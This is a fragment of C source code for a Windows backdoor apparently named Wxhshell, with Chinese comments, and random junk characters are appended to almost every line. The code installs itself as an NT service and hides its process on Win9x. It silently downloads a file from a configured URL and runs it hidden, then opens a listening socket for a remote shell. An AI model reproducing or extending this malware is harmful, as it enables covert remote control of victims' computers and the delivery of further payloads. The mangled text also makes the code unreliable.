DWORD PebBaseAddress; #- z(]Y,y
DWORD AffinityMask; ;e#bl1%#
DWORD BasePriority; I]jK]]@
ULONG UniqueProcessId; LQ'VhNU
ULONG InheritedFromUniqueProcessId; qJ5gdID1 _
} PROCESS_BASIC_INFORMATION; *<IQ+oat,a
U66}nN9
PROCNTQSIP NtQueryInformationProcess; Y)KO*40c
D Kng.P
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B`;DAsmT
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _
ATIV
?5Ub&{
HANDLE hProcess; #fkOm
Y7X
PROCESS_BASIC_INFORMATION pbi; ~'3hK4
!1{kG%B=
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ZNjqH[
if(NULL == hInst ) return 0; f<K7m
j87IxB?o
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1v"r8=Wt
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M\w%c5
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R3!3TJ
&-B&s.,kj
if (!NtQueryInformationProcess) return 0; Q!(qL[o
.=% ,DT"
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m=e#1Hs
if(!hProcess) return 0; z<Y
>phc
>^V3Z{;
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +f]\>{o4
lV)SOs$
CloseHandle(hProcess); i#1~<U
cd?a rIV5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z`97=:W
if(hProcess==NULL) return 0; QU%'z/dip
:eR[lR^4*
HMODULE hMod; Mz:t[rfs
char procName[255]; r\f|r$i
unsigned long cbNeeded; WC
ZDS>
uL[%R2
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :1(UC}v
7iM;X2=7}
CloseHandle(hProcess); % m0x]
69tT'U3vb$
if(strstr(procName,"services")) return 1; // 以服务启动 7J$5dFV2
,Z1W3;O
return 0; // 注册表启动 H,5##@X
} /*2sg>e'QF
q oJ4w7
// 主模块 G ?&T0
int StartWxhshell(LPSTR lpCmdLine) 'RjMwJy{
{ M~ ^ {S[o
SOCKET wsl; ZPolE_P7
BOOL val=TRUE; JJn+H&[B
int port=0; 9'S~zG%{
struct sockaddr_in door; Uk0]A
dtT2h>h9
if(wscfg.ws_autoins) Install(); DHO+JtO
q*kieqG
port=atoi(lpCmdLine); sJ(q.FRM'
A[.5Bi
if(port<=0) port=wscfg.ws_port; A1u|L^
<1EmQ)B
WSADATA data; ~RS^Opoa
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {Q@pF
|}y6U< I
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; B%e#u.'6
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %M_5C4&6
door.sin_family = AF_INET; B,dHhwO*l
door.sin_addr.s_addr = inet_addr("127.0.0.1"); S.kFs{;1x
door.sin_port = htons(port); dPfDPb
J@I-tS
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mK2M1r
closesocket(wsl); w}jH,Ew
return 1; H%\\-Z$#
} D@yuldx'/
6qgII~F'
if(listen(wsl,2) == INVALID_SOCKET) { ^-'t`mRl]d
closesocket(wsl); ->S6S_H/+&
return 1; EjYCOb-
} M+N7JpR
Wxhshell(wsl); koizk&)
WSACleanup(); b[I;6HW
2r]!$ hto
return 0; rLm:qu(F1
dGb]`* E
} ,UD,)ZPf[
ecI[lB
// 以NT服务方式启动 E*t0ia8
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =>7\s}QZ
{ bC mhlSNi
DWORD status = 0; aF'9&A;q
DWORD specificError = 0xfffffff; t,8p}2,$
tR]1c
serviceStatus.dwServiceType = SERVICE_WIN32; #
Y*cLN`Y7
serviceStatus.dwCurrentState = SERVICE_START_PENDING; jSj
(ZU6
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }Pj3O~z
serviceStatus.dwWin32ExitCode = 0; 9g*MBe:
serviceStatus.dwServiceSpecificExitCode = 0; R{"7q:-
serviceStatus.dwCheckPoint = 0; |F'k5Lh
serviceStatus.dwWaitHint = 0; 1wqsGad+;
|5}~n"R5
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r|WoM39bp
if (hServiceStatusHandle==0) return; 0*.>
>rI
:K)=Hf2y
status = GetLastError(); 9N[vNg<n
if (status!=NO_ERROR) *<**rY*
{ Z`l97$\
serviceStatus.dwCurrentState = SERVICE_STOPPED; EPz$`#Sh"
serviceStatus.dwCheckPoint = 0; /?; 8F
serviceStatus.dwWaitHint = 0; _S(]/d(c
serviceStatus.dwWin32ExitCode = status; 5[Ryc[
serviceStatus.dwServiceSpecificExitCode = specificError; +c699j;[
SetServiceStatus(hServiceStatusHandle, &serviceStatus); R":nG7o
return; p5KM(N6f
} f]BG`rJX
g]g2`ab |
serviceStatus.dwCurrentState = SERVICE_RUNNING; (zFUC]
serviceStatus.dwCheckPoint = 0; V+()`>44
serviceStatus.dwWaitHint = 0; oj7X9~ nd
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _`JYA
} <h/\)bPB
m_TZY_;
// 处理NT服务事件,比如:启动、停止 jaAv_=93f
VOID WINAPI NTServiceHandler(DWORD fdwControl) U/B1/96lJ
{ $rySz7NI
switch(fdwControl) %KeQp W
{ G~{xTpL
case SERVICE_CONTROL_STOP: X^#.4:>.
serviceStatus.dwWin32ExitCode = 0; o%Lk6QA$
serviceStatus.dwCurrentState = SERVICE_STOPPED; Z:#-4CiP
serviceStatus.dwCheckPoint = 0; }[u 9vZL
serviceStatus.dwWaitHint = 0; C/Ig.KmXF{
{ ({cgak
SetServiceStatus(hServiceStatusHandle, &serviceStatus); "mAVkq~
} N>OF
tP
return; -o+_PL
$\
case SERVICE_CONTROL_PAUSE: 6/9h=-w&
serviceStatus.dwCurrentState = SERVICE_PAUSED; Musz+<]
break; gev7eGH<
case SERVICE_CONTROL_CONTINUE: yT42u|xZA
serviceStatus.dwCurrentState = SERVICE_RUNNING; W
9Z.X!h
break; VZ*Q|
case SERVICE_CONTROL_INTERROGATE: Dk|<&uVV
break; #;RP ?s
}; C61KY7iyR
SetServiceStatus(hServiceStatusHandle, &serviceStatus); '"5"$)7
} [FKmZzEy
tIb?23K0
// 标准应用程序主函数 T[=XGAJ
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _9Kdcoh
{ a$MMp= p
]t|KFk!)
// 获取操作系统版本 oy'Q#!
OsIsNt=GetOsVer(); $}S5&
GetModuleFileName(NULL,ExeFile,MAX_PATH); zjh&?G]:G
kRgyvA,*;
// 从命令行安装 {sy#&m(el
if(strpbrk(lpCmdLine,"iI")) Install(); g
S;p::
u pf7:gk +
// 下载执行文件 [?BmW{*u.
if(wscfg.ws_downexe) { Nh41o0
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #3$U&|`
WinExec(wscfg.ws_filenam,SW_HIDE); %2<chq
} &L-y1'i=j
PZO 7eEt8
if(!OsIsNt) { @ -JD`2z
// 如果时win9x,隐藏进程并且设置为注册表启动 c3|;'s
HideProc(); yov:JnWo
StartWxhshell(lpCmdLine); [^W4%S
} J1"u,H F*(
else "2CiW6X[M
if(StartFromService()) ?|+bM`
// 以服务方式启动 ~aH*ZA*f
StartServiceCtrlDispatcher(DispatchTable); 5/mW:G,&
else "HVwm>qEi
// 普通方式启动 B[-%A!3
F
StartWxhshell(lpCmdLine); )F<<M+q=
1uv"5`%s
return 0; hE!3kaS
}